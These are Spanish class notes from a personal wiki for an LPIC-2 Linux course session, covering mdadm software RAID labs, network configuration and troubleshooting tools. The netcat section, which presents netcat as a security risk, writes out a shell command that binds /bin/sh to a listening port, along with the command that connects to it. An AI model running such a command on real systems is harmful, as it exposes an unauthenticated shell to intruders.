

LPIC2 2021 Sesión 7 (2021-02-23)

Documentación relacionada:

- Manual Certificación LPIC-2.pdf, pag 72
- Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/1-Gestión Avanzada de Discos.pdf
- Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/3-RAID/*
- Presentaciones/2020/201/
- gdrive://
- Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/Gestion de Swap.txt

Clase

RAID

Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/1-Gestión Avanzada de Discos.pdf, pag 2

Manual Certificación LPIC-2.pdf, pag 72

- en certificación no preguntan por que es cada RAID (0,1,5,6)
- mdadm ← yum install mdadm
- **/etc/mdadm/mdadm.conf**

Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/3-RAID/1-Laboratorio crear un RAID 1 por software.pdf

Crear RAID y montar LVM sobre él (2-Laboratorio Volúmenes Lógicos+RAID1.pdf)

Laboratorio

Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/3-RAID/Laboratorio RAID1 mdadm linux.txt

- crear partición (100%) del tipo Linux RAID **fd** en los discos sdb,sdc,sdd
- mdadm -v -C /dev/md0 -n 2 /dev/sdb1 /dev/sdc1 -l 1 --spare-devices=1 /dev/sdd1
 - nuevo dispositivo **/dev/md0** (sdb1, sdc1)
 - el nombre ha de ser **/dev/mdX**

- RAID Level 1
- un disco de **spare** (sdd1)
- formateamos y montamos:
 - `mkfs.ext3 /dev/md0`
 - `mount /dev/md0 /mnt`
- dejamos en terminal abierto una monitorización sobre el RAID: `watch mdadm --detail /dev/md0`
 - forzamos el fallo de uno de los discos: `mdadm /dev/md0 -f /dev/sdb1`
 - podemos ver en el terminal de **watch** como el sistema reemplaza el sdb1 por el spare sdd1
 - retiramos el disco «dañado»: `mdadm /dev/md0 -r /dev/sdb1`
 - vemos como no forma parte del RAID
 - y añadimos «otro»: `mdadm /dev/md0 -a /dev/sdb1`
 - para eliminar el raid:
 - `umount /mnt`
 - `mdadm --stop /dev/md0`
 - `mdadm --remove /dev/md0`
 - es importante eliminar el superbloque (metadatos): `mdadm --zero-superblock /dev/sdb1 /dev/sdb1 /dev/sdc1 /dev/sdd1`
 - eliminar configuración: `cat /dev/null > /etc/mdadm.conf`
 - otro comando: `mdadm -As /dev/md0`
 - **-s**: escanea el /etc/mdadm.conf

Ejemplos de conversión de un raid a otro... RAID1→RAID3, ampliar RAID5

Laboratorio (extra)

Sacar un disco de un raid existente y montarlo en un nuevo ordenador, como nuevo raid, para acceder a los datos contenidos

- `mdadm --create --verbose /dev/md1 --level=mirror --raid-devices=2 /dev/sdb1 missing`
- `mount /dev/md1 /mnt`

Cabina ISCSI

Pendiente próxima semana: cabinas discos con openFiler

- Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/Configuración Almacenamiento ISCSI
- cabinas con openfiler, para conectarnos
- http://clusterfrak.com/sysops/app_installs/openfiler_install/
- <https://www.openfiler.com/>
- <http://vmwareinsight.com/Tutorials/2016/7/5799894/Step-by-Step-Configuration-Guide-for-Using-Openfiler-as-Shared-Storage-in-ESXi-and-vSphere-Environment>

Networking Configuration

documentos

- doc: Manual Certificación LPIC-2.pdf, pag 145
- doc: Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Configuración de Red en Red Hat Enterprise Linux.pdf
- doc: Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Configurar la red en RedHat7.txt

comandos

- `ip a`
- nombrar las tarjetas de red a **ethX**:
 - **biosdecode**
 - modificar **/etc/default/grub**
 - `GRUB_CMDLINE_LINUX="... quiet net.ifnames=0 biosdevname=0"`
- archivo de configuración centos/redhat: **/etc/sysconfig/network-scripts/ifcfg-<network_device>**
 - al modificar: **systemctl restart network, ip link set <network_device> down (y después up**
- desactivar IPv6 (si no se ha de utilizar) → ¿como?
- **NetworkManager**: nuevo gestor con perfiles, en sustitución del anterior
- **hostname**
 - centos7:
 - **/etc/hostname**
 - `hostnamectl set-hostname <FQDN>`
 - centos6:
 - **/etc/sysconfig/network**
- modificar **/etc/hosts**
 - como buena práctica, que sepa resolverse a si misma
- **/etc/resolv.conf**: servidores DNS para mi máquina
 - nameserver: servidores que resuelven
 - search: sufijo de búsqueda (lo que añade a los nombres que usamos para localizar máquinas)
 - domain: el dominio en el que trabajamos
- `netstat -r`
 - `route add/del...`
- alias IP (varias IPs en el mismo interfaz):
 - `vi /etc/sysconfig/network-scripts/ifcfg-<interfaz>`
 - renombro IPADDR a IPADDR0 y NETMASK a NETMASK0
 - añadido IPADDR1 y NETMASK1 con diferente IP
 - `systemctl restart network` (o `networkManager`)
 - copiar `/etc/sysconfig/network-scripts/ifcfg-<interfaz>` en `/etc/sysconfig/network-scripts/ifcfg-<interfaz>:0`
- forward paquetes (reenvío de paquetes entre 2 redes en 2 interfaces:
 - **/etc/sysctl.conf** → **net.ipv4.ip_forward = 1** → `sysctl -p` (aplicar)
- **/etc/nsswitch.conf**: métodos de resolución usuarios
- **nmtui**: networkManager «GUI» ← en modo texto
 - `yum install NetworkManager-tui -y`
- **nmcli**: networkManager «CLI»
 - Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Lab interfaces de red con nmcli.txt
 - `nmcli connection show`
 - nos permite crear los ficheros de configuración (desde cero) en un comando
- debian:
 - **/etc/network/interfaces**
 - `service networking restart`
 - Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Problemas de red en Linux.pdf

Networking Configuration: Troubleshooting

- route
- arp
- ss, netstat (deprecado por ss)
 - netstat -tan | grep -i listen: que estoy ofreciendo TCP
 - netstat -putan | grep -i listen
- nc: netcat, navaja suiza ← desinstalar! ← yum remove nmap-nocat problema de seguridad
 - Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Explicacion Topic 110 Security.txt
 - shell reverso
 - nc -lvp 1234 -e /bin/sh &
 - nc 192.168.2.5 1234
- **/etc/sysconfig/selinux** → disabled (preparativos para laboratorios)
 - y reiniciar (no hay servicio que controle esto)
- tcpdump
- nmap
 - yum install nmap-frontend -y → zenmap: frontend gráfico
- traceroute
- mtr
- dmesg
- **/etc/host.allow, /etc/host.deny** : desuso (TCP wrappers)
 - Manual Certificacion LPIC-2.pdf, pag 155
 - Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Explicacion Topic 110 Security.txt
 - strings -f /usr/sbin/sshd | grep hosts_access: programas que lo soportan
 - 3 etapas de comprobación de acceso a un servicio embebido TCP:
 - está autorizado expresamente
 - está denegado expresamente
 - permitido por defecto
 - usa expresiones en sus ficheros de configuración para permitir (o denegar)
 - ALL
 - LOCAL
 - UNKOWN
 - KNOWN
 - PARANOID
 - EXCEPT
 - permitimos en **allow**, denegamos en **deny** (o tendrá acceso por la tercera regla)
 - Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Problemas de red en Linux.pdf
 - sar: monitorización interfaces
 - sar
 - ksar: analizar los datos generados por un **sar**

From:

<https://miguelangel.torresegea.es/wiki/> - miguel angel torres egea

Permanent link:

<https://miguelangel.torresegea.es/wiki/info:cursos:pue:lpic2-2021:s7?rev=1614286089>

Last update: **25/02/2021 12:48**

